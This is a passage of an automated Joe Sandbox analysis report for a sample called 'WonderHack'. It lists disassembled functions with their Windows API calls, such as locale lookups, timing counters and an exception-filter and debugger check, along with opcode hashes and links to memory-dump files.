Associated: 00000000.00000002.1704224849.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704246085.0000000000CD4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704266387.0000000000CD7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704306470.0000000000D21000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c90000_WonderHack.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: 062cd489bad9b210dbbef8765a7b63c3c5440724ba10357844718a77b912958c
Instruction ID: f917aabebe963d65f105423dcf8e542169fcfb910e06432ef66f5c6e56b89655
Opcode Fuzzy Hash: 062cd489bad9b210dbbef8765a7b63c3c5440724ba10357844718a77b912958c
Instruction Fuzzy Hash: 1431F4B5D012199BDB20DFA4D949BCDBBB8BF08308F1041AAE40DAB250EB709B85DF45

Function 00CA7110 Relevance: 6.0, APIs: 4, Instructions: 25timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 00CA7122
GetCurrentThreadId.KERNEL32 ref: 00CA7131
GetCurrentProcessId.KERNEL32 ref: 00CA713A
QueryPerformanceCounter.KERNEL32(?), ref: 00CA7147

Memory Dump Source

Source File: 00000000.00000002.1704149721.0000000000C91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000000.00000002.1704130855.0000000000C90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704182770.0000000000CC4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704203677.0000000000CCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704224849.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704246085.0000000000CD4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704266387.0000000000CD7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704306470.0000000000D21000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c90000_WonderHack.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: a1790c29b5e3d7e8d7edef4305754fd0e03fbbdb4c6f4dbbda43bcf6d76dce65
Instruction ID: 7ef86b24d32c603e439a2e0d8f35a1baea574934c10aa693b66644d945332d26
Opcode Fuzzy Hash: a1790c29b5e3d7e8d7edef4305754fd0e03fbbdb4c6f4dbbda43bcf6d76dce65
Instruction Fuzzy Hash: 68F06274D1120DEBCB00DBB4DA89A9EBBF4EF5C200B9145A5E412F7150EB30AB449B51

Function 00CB86CB Relevance: 4.7, APIs: 3, Instructions: 205COMMON

Download Yara Rule

APIs

Part of subcall function 00CB3413: GetLastError.KERNEL32(00000000,?,00CB5749), ref: 00CB3417
Part of subcall function 00CB3413: SetLastError.KERNEL32(00000000,?,?,00000028,00CAF7C9), ref: 00CB34B9

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00CB871F
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00CB8769
GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00CB882F

Memory Dump Source

Source File: 00000000.00000002.1704149721.0000000000C91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000000.00000002.1704130855.0000000000C90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704182770.0000000000CC4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704203677.0000000000CCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704224849.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704246085.0000000000CD4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704266387.0000000000CD7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704306470.0000000000D21000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c90000_WonderHack.jbxd

Similarity

API ID: InfoLocale$ErrorLast
String ID:
API String ID: 661929714-0
Opcode ID: cc44a43f33e038db610b7af5945d0504f3760dd396dc4e5ccf04f0c1352c2dbe
Instruction ID: a93d4160d972e2a4f546d9925ece17d0e9ce5c017c7728a878b4b834f9026356
Opcode Fuzzy Hash: cc44a43f33e038db610b7af5945d0504f3760dd396dc4e5ccf04f0c1352c2dbe
Instruction Fuzzy Hash: AF61AE71A102179BDF299F28CC82BEA77ACEF04300F544079ED15CA285EB75DA89DB50

Function 00CAF2B0 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 00CAF3A8
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 00CAF3B2
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 00CAF3BF

Memory Dump Source

Source File: 00000000.00000002.1704149721.0000000000C91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000000.00000002.1704130855.0000000000C90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704182770.0000000000CC4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704203677.0000000000CCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704224849.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704246085.0000000000CD4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704266387.0000000000CD7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704306470.0000000000D21000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c90000_WonderHack.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: f29bdab456e5d840266ccc848063c293e10b1fb0bac0b9fe071a19fb60c8a955
Instruction ID: bed48f26b066655d503a05492a09afc0a23f7c33e9c49fb09cd83fab69e72a2d
Opcode Fuzzy Hash: f29bdab456e5d840266ccc848063c293e10b1fb0bac0b9fe071a19fb60c8a955
Instruction Fuzzy Hash: DD31D4749012299BCB21DF68D889B8CBBB8BF08314F5041EAE41CA7261EB709B858F54

Function 00CBCD97 Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,00CBCCF2,?,?,00000008,?,?,00CC318B,00000000), ref: 00CBCFC4

Memory Dump Source

Source File: 00000000.00000002.1704149721.0000000000C91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000000.00000002.1704130855.0000000000C90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704182770.0000000000CC4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704203677.0000000000CCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704224849.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704246085.0000000000CD4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704266387.0000000000CD7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704306470.0000000000D21000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c90000_WonderHack.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: bd163b20675e9f246231e231dd38403dc5d7e84d737cedcc182f1ea7e851a5c6
Instruction ID: 203e40939a0b0c40a3fbdf4deecc8016c5fb9c786fb67eeb575ff858501d9ae0
Opcode Fuzzy Hash: bd163b20675e9f246231e231dd38403dc5d7e84d737cedcc182f1ea7e851a5c6
Instruction Fuzzy Hash: 00B14E31510609DFD715CF28C4CABA57BE1FF45364F258698E9AACF2A1C335EA92CB40

Function 00CA6194 Relevance: 1.7, APIs: 1, Instructions: 242COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 00CA61AA

Memory Dump Source

Source File: 00000000.00000002.1704149721.0000000000C91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000000.00000002.1704130855.0000000000C90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704182770.0000000000CC4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704203677.0000000000CCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704224849.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704246085.0000000000CD4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704266387.0000000000CD7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704306470.0000000000D21000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c90000_WonderHack.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 5e7e5de000277987cf2a9569c90ba022715b27cbd3425c24b5fdc7ac125da0c4
Instruction ID: cd4353e8f06b97fd0efe7771f43c263c13a522b386399f7621359742e4ff8288
Opcode Fuzzy Hash: 5e7e5de000277987cf2a9569c90ba022715b27cbd3425c24b5fdc7ac125da0c4
Instruction Fuzzy Hash: 53A15EB1A067068FDB59CF58D8917ADBBF1FB49328F29862AD415EB350D334A940CF90

Function 00CAC040 Relevance: 1.6, Strings: 1, Instructions: 333COMMON

Download Yara Rule

Strings

0, xrefs: 00CAC1B0

Memory Dump Source

Source File: 00000000.00000002.1704149721.0000000000C91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000000.00000002.1704130855.0000000000C90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704182770.0000000000CC4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704203677.0000000000CCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704224849.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704246085.0000000000CD4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704266387.0000000000CD7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704306470.0000000000D21000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c90000_WonderHack.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: d9409afff16be63c33f8bd0a0a282f5813cb2a3c1d29d30e6b13c844ac4f674a
Instruction ID: adedd0f8b5c8c099b2107bd5d78403fc6bb98abdde64bcd3feca01280bda6f79
Opcode Fuzzy Hash: d9409afff16be63c33f8bd0a0a282f5813cb2a3c1d29d30e6b13c844ac4f674a
Instruction Fuzzy Hash: B5C1BB74A00607CECB24CFA8C9C46BEBBB1EF17318F148619D5A2976A2C731AE45DB51

Function 00CB897D Relevance: 1.6, APIs: 1, Instructions: 83COMMON

Download Yara Rule

APIs

Part of subcall function 00CB3413: GetLastError.KERNEL32(00000000,?,00CB5749), ref: 00CB3417
Part of subcall function 00CB3413: SetLastError.KERNEL32(00000000,?,?,00000028,00CAF7C9), ref: 00CB34B9

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00CB89D1

Memory Dump Source

Source File: 00000000.00000002.1704149721.0000000000C91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000000.00000002.1704130855.0000000000C90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704182770.0000000000CC4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704203677.0000000000CCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704224849.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704246085.0000000000CD4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704266387.0000000000CD7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704306470.0000000000D21000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c90000_WonderHack.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 9b94a5421fafc67bc3118c6865034d78750e4705bd04e4e168ad3a2aeccc3f21
Instruction ID: 9753b15fed18bdb07393f4bea57f13c5369710c942f1f54d20ab208744b12479
Opcode Fuzzy Hash: 9b94a5421fafc67bc3118c6865034d78750e4705bd04e4e168ad3a2aeccc3f21
Instruction Fuzzy Hash: 4F218072655646ABDB289A25DC42BFA77ACEF04354F10007AFD06C7241EF74EE48EA50

Function 00CAAC41 Relevance: 1.6, Strings: 1, Instructions: 318COMMON

Download Yara Rule

Strings

0, xrefs: 00CAADC5

Memory Dump Source

Source File: 00000000.00000002.1704149721.0000000000C91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000000.00000002.1704130855.0000000000C90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704182770.0000000000CC4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704203677.0000000000CCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704224849.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704246085.0000000000CD4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704266387.0000000000CD7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704306470.0000000000D21000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c90000_WonderHack.jbxd

Similarity

API ID:
String ID: 0
API String ID: 0-4108050209
Opcode ID: d676128023a921de9be0a29ae6fce7b82496ef1c00b094a389781c8d89009909
Instruction ID: 05ecac3f3fb589389bfa860be47916e127ba66ee3a0a5a1faf378c49de7da805
Opcode Fuzzy Hash: d676128023a921de9be0a29ae6fce7b82496ef1c00b094a389781c8d89009909
Instruction Fuzzy Hash: 06B1B17090060B8FCB298FA8C9556BEBBB1AF0731CF144A1ED4A297A91C7319F41DB53

Function 00CB8630 Relevance: 1.6, APIs: 1, Instructions: 63COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00CB3413: GetLastError.KERNEL32(00000000,?,00CB5749), ref: 00CB3417
Part of subcall function 00CB3413: SetLastError.KERNEL32(00000000,?,?,00000028,00CAF7C9), ref: 00CB34B9

EnumSystemLocalesW.KERNEL32(00CB86CB,00000001,00000000,?,-00000050,?,00CB84BB,00000000,-00000002,00000000,?,00000055,?), ref: 00CB86A2

Memory Dump Source

Source File: 00000000.00000002.1704149721.0000000000C91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000000.00000002.1704130855.0000000000C90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704182770.0000000000CC4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704203677.0000000000CCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704224849.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704246085.0000000000CD4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704266387.0000000000CD7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704306470.0000000000D21000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c90000_WonderHack.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 5a9c0875e66c389b71869700378bf748a890c0958c855f8f5b0646c36c729493
Instruction ID: f57fcc653939ad8708f596f4128d262629f0b5ff89fce596c97042430a2b0f83
Opcode Fuzzy Hash: 5a9c0875e66c389b71869700378bf748a890c0958c855f8f5b0646c36c729493
Instruction Fuzzy Hash: E911253A2007019FDB189F39C8916FABB95FF80328F19443CE94787A40E771AA46CB40

Function 00CB8A9D Relevance: 1.6, APIs: 1, Instructions: 63COMMON

Download Yara Rule

APIs

Part of subcall function 00CB3413: GetLastError.KERNEL32(00000000,?,00CB5749), ref: 00CB3417
Part of subcall function 00CB3413: SetLastError.KERNEL32(00000000,?,?,00000028,00CAF7C9), ref: 00CB34B9

GetLocaleInfoW.KERNEL32(00000000,?,?,00000078), ref: 00CB8AF1

Memory Dump Source

Source File: 00000000.00000002.1704149721.0000000000C91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000000.00000002.1704130855.0000000000C90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704182770.0000000000CC4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704203677.0000000000CCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704224849.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704246085.0000000000CD4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704266387.0000000000CD7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704306470.0000000000D21000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c90000_WonderHack.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: fe76e617ea5b47aed5eb9da05873fa0e3be4ed7c666425f555ba951b7898682a
Instruction ID: b429e0ae5279e8094a9bf3b5cda3fe40d4393c007c56586132f0cd7ef4f640ad
Opcode Fuzzy Hash: fe76e617ea5b47aed5eb9da05873fa0e3be4ed7c666425f555ba951b7898682a
Instruction Fuzzy Hash: 8A11A372611506ABDB149F28DC42AFA7BECEF05310F10407AE506D7281EF74EE04DB90

Function 00CB8C4A Relevance: 1.5, APIs: 1, Instructions: 48COMMON

Download Yara Rule

APIs

Part of subcall function 00CB3413: GetLastError.KERNEL32(00000000,?,00CB5749), ref: 00CB3417
Part of subcall function 00CB3413: SetLastError.KERNEL32(00000000,?,?,00000028,00CAF7C9), ref: 00CB34B9

GetLocaleInfoW.KERNEL32(?,20000001,?,00000002,?,00000000,?,?,00CB88E7,00000000,00000000,?), ref: 00CB8C76

Memory Dump Source

Source File: 00000000.00000002.1704149721.0000000000C91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000000.00000002.1704130855.0000000000C90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704182770.0000000000CC4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704203677.0000000000CCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704224849.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704246085.0000000000CD4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704266387.0000000000CD7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704306470.0000000000D21000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c90000_WonderHack.jbxd

Similarity

API ID: ErrorLast$InfoLocale
String ID:
API String ID: 3736152602-0
Opcode ID: 373aca1e78b2cfd96e2c4956ba26ec7723cf797e1274001779b6cc00c5ead3fa
Instruction ID: 72d2ec10c184a4a9b0f0e8bf9f74b8520a6f2f66508da4fdf7cbb77a9eb0b1c2
Opcode Fuzzy Hash: 373aca1e78b2cfd96e2c4956ba26ec7723cf797e1274001779b6cc00c5ead3fa
Instruction Fuzzy Hash: BB01D672B00516ABDB285B658806BFA3B6CDB40754F154429EC56A3180EE74EE45D6E0

Function 00CB891E Relevance: 1.5, APIs: 1, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00CB3413: GetLastError.KERNEL32(00000000,?,00CB5749), ref: 00CB3417
Part of subcall function 00CB3413: SetLastError.KERNEL32(00000000,?,?,00000028,00CAF7C9), ref: 00CB34B9

EnumSystemLocalesW.KERNEL32(00CB897D,00000001,?,?,-00000050,?,00CB8483,-00000050,-00000002,00000000,?,00000055,?,-00000050,?,?), ref: 00CB8968

Memory Dump Source

Source File: 00000000.00000002.1704149721.0000000000C91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000000.00000002.1704130855.0000000000C90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704182770.0000000000CC4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704203677.0000000000CCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704224849.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704246085.0000000000CD4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704266387.0000000000CD7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704306470.0000000000D21000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c90000_WonderHack.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 504d6d8006736dc947a035fd792400c343e344e613f99e528e4da1798ab51221
Instruction ID: a91b6854f1b980df4ba4def0a9596079840d98fd959b7cb2e66f89c5627148fd
Opcode Fuzzy Hash: 504d6d8006736dc947a035fd792400c343e344e613f99e528e4da1798ab51221
Instruction Fuzzy Hash: 5AF022366003045FCF245F34AC81ABABB99EF80368F04442DFA424B690CBB29D42D640

Function 00CB43A7 Relevance: 1.5, APIs: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00CAF547: EnterCriticalSection.KERNEL32(?,?,00CACD41,00000000,00CCE728,0000000C,00CACCFA,00001000,?,00CB44CA,00001000,?,00CB35B1,00000001,00000364,?), ref: 00CAF556

EnumSystemLocalesW.KERNEL32(00CB439A,00000001,00CCEBA0,0000000C,00CB3DA8,-00000050), ref: 00CB43DF

Memory Dump Source

Source File: 00000000.00000002.1704149721.0000000000C91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000000.00000002.1704130855.0000000000C90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704182770.0000000000CC4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704203677.0000000000CCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704224849.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704246085.0000000000CD4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704266387.0000000000CD7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704306470.0000000000D21000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c90000_WonderHack.jbxd

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: 9881f91d4f2fde38af279cf591ac8eab92de5b17aeb0493cec497a3cebcf0354
Instruction ID: e85f39d3cd03f958fe968e6d0d0d5e1c4a2bc7b4840ca0b3cc9daf9b5c5113e6
Opcode Fuzzy Hash: 9881f91d4f2fde38af279cf591ac8eab92de5b17aeb0493cec497a3cebcf0354
Instruction Fuzzy Hash: 57F03232A41205DFDB04EF98E842B9D7BF0EB09725F10416AF511DB2A1DB755940EF90

Function 00CB8A52 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00CB3413: GetLastError.KERNEL32(00000000,?,00CB5749), ref: 00CB3417
Part of subcall function 00CB3413: SetLastError.KERNEL32(00000000,?,?,00000028,00CAF7C9), ref: 00CB34B9

EnumSystemLocalesW.KERNEL32(00CB8A9D,00000001,?,?,?,00CB84DD,-00000050,-00000002,00000000,?,00000055,?,-00000050,?,?,?), ref: 00CB8A89

Memory Dump Source

Source File: 00000000.00000002.1704149721.0000000000C91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000000.00000002.1704130855.0000000000C90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704182770.0000000000CC4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704203677.0000000000CCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704224849.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704246085.0000000000CD4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704266387.0000000000CD7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704306470.0000000000D21000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c90000_WonderHack.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 7f43a70edf38c219a6d606207a581f32db44dbdd284d0e6b4f6fdfe87cb8eac9
Instruction ID: 0c6308c8bc9279439312ad6f1ef6f4f91312191d00fa8698ba53596e2c2af48b
Opcode Fuzzy Hash: 7f43a70edf38c219a6d606207a581f32db44dbdd284d0e6b4f6fdfe87cb8eac9
Instruction Fuzzy Hash: 02F02B3630030557CB149F75EC45BAABF98EFC1724F0A406AEB168B290CA71DA86E790

Function 00CB3EAC Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,00000000,?,00CAE2A3,?,20001004,00000000,00000002,?,?,00CAD1B5), ref: 00CB3EE0

Memory Dump Source

Source File: 00000000.00000002.1704149721.0000000000C91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000000.00000002.1704130855.0000000000C90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704182770.0000000000CC4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704203677.0000000000CCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704224849.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704246085.0000000000CD4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704266387.0000000000CD7000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704306470.0000000000D21000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c90000_WonderHack.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 97a2a1d9390168833e30bb13a8b30580d13b3bf731d5accd3dedc8bed01749b8
Instruction ID: ab29c7c82870ba287a429d2db1ab9dd39efb12d2f13159d9599d0afe2d03a945
Opcode Fuzzy Hash: 97a2a1d9390168833e30bb13a8b30580d13b3bf731d5accd3dedc8bed01749b8
Instruction Fuzzy Hash: B5E04F31504168BBCF226F61DC04FEE3E66EF447A0F044421FD16661A1CB36CA20BAD5

Function 00CA651C Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0001663D), ref: 00CA6521

Memory Dump Source

Source File: 00000000.00000002.1704149721.0000000000C91000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C90000, based on PE: true

Associated: 00000000.00000002.1704130855.0000000000C90000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704182770.0000000000CC4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704203677.0000000000CCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704224849.0000000000CD0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704246085.0000000000CD4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1704266387.0000000000CD7000.00000008.00000001.01000000.00000003.sdmpDownload File
